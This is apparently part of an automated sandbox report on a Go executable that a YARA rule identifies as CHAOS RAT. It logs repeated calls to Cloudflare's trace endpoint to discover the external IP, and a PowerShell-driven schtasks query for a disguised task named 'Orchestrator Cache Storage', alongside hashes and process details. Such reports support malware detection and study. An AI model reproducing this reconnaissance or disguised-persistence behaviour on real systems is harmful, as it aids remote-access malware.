              2023-11-27 09:13:37 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:38 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 39 64 34 66 30 36 30 38 30 32 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:38 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9419d4f060802-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:38 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 36 32 36 66 31 35 34 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 31 38 2e 31 32 36 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=626f154h=cloudflare.comip=89.149.18.60ts=1701076418.126visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:38 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              26192.168.2.449764104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:41 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:42 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 62 36 31 62 38 37 33 38 30 63 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:42 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c941b61b87380c-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:42 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 31 36 66 36 35 37 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 32 32 2e 30 39 37 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=16f657h=cloudflare.comip=89.149.18.60ts=1701076422.097visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:42 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              27192.168.2.449765104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:45 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:46 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 63 66 30 38 64 34 36 66 61 34 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:46 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c941cf08d46fa4-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:46 UTC216INData Raw: 64 32 0d 0a 66 6c 3d 34 31 33 66 37 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 32 36 2e 30 38 33 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d2fl=413f7h=cloudflare.comip=89.149.18.60ts=1701076426.083visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:46 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              28192.168.2.449766104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:49 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:50 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 35 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 65 37 63 65 37 30 35 39 66 32 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:50 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c941e7ce7059f2-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:50 UTC222INData Raw: 64 38 0d 0a 66 6c 3d 33 35 30 66 36 36 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 33 30 2e 30 34 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 30 31 30 2d 69 61 64 30 33 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d8fl=350f66h=cloudflare.comip=89.149.18.60ts=1701076430.048visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=010-iad03http=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:50 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              29192.168.2.449767104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:54 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:54 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 32 30 36 30 38 66 33 33 39 31 66 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:54 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9420608f3391f-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:54 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 36 32 36 66 35 33 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 33 34 2e 38 38 39 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=626f53h=cloudflare.comip=89.149.18.60ts=1701076434.889visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:54 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              30192.168.2.449768104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:58 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:58 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 32 31 65 64 39 61 66 32 30 37 65 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:58 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9421ed9af207e-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:58 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 36 30 31 66 38 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 33 38 2e 38 35 34 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=601f85h=cloudflare.comip=89.149.18.60ts=1701076438.854visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:58 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Statistics

              CPU Usage

              Click to jump to process

              Memory Usage

              Click to jump to process

              High Level Behavior Distribution

              Click to dive into process behavior distribution

              Behavior

              Click to jump to process

              System Behavior

              General

              Target ID:0
              Start time:10:11:53
              Start date:27/11/2023
              Path:C:\Users\user\Desktop\pointcross.dat.exe
              Wow64 process (32bit):false
              Commandline:C:\Users\user\Desktop\pointcross.dat.exe
              Imagebase:0x8f0000
              File size:5'921'280 bytes
              MD5 hash:585381BC89179FE4FD758C05AE7049B4
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:Go lang
              Yara matches:
              • Rule: JoeSecurity_CHAOSRAT, Description: Yara detected CHAOS RAT, Source: 00000000.00000002.2873194373.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
              Reputation:low
              Has exited:false

              General

              Target ID:1
              Start time:10:11:53
              Start date:27/11/2023
              Path:C:\Windows\System32\conhost.exe
              Wow64 process (32bit):false
              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Imagebase:0x7ff7699e0000
              File size:862'208 bytes
              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:false

              General

              Target ID:2
              Start time:10:11:53
              Start date:27/11/2023
              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Wow64 process (32bit):false
              Commandline:powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST"
              Imagebase:0x7ff788560000
              File size:452'608 bytes
              MD5 hash:04029E121A0CFA5991749937DD22A1D9
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:.Net C# or VB.NET
              Reputation:high
              Has exited:true

              General

              Target ID:3
              Start time:10:11:55
              Start date:27/11/2023
              Path:C:\Windows\System32\schtasks.exe
              Wow64 process (32bit):false
              Commandline:"C:\Windows\system32\schtasks.exe" /query /tn Orchestrator Cache Storage /v /fo LIST
              Imagebase:0x7ff76f990000
              File size:235'008 bytes
              MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:moderate
              Has exited:true

              Disassembly

              ⊘No disassembly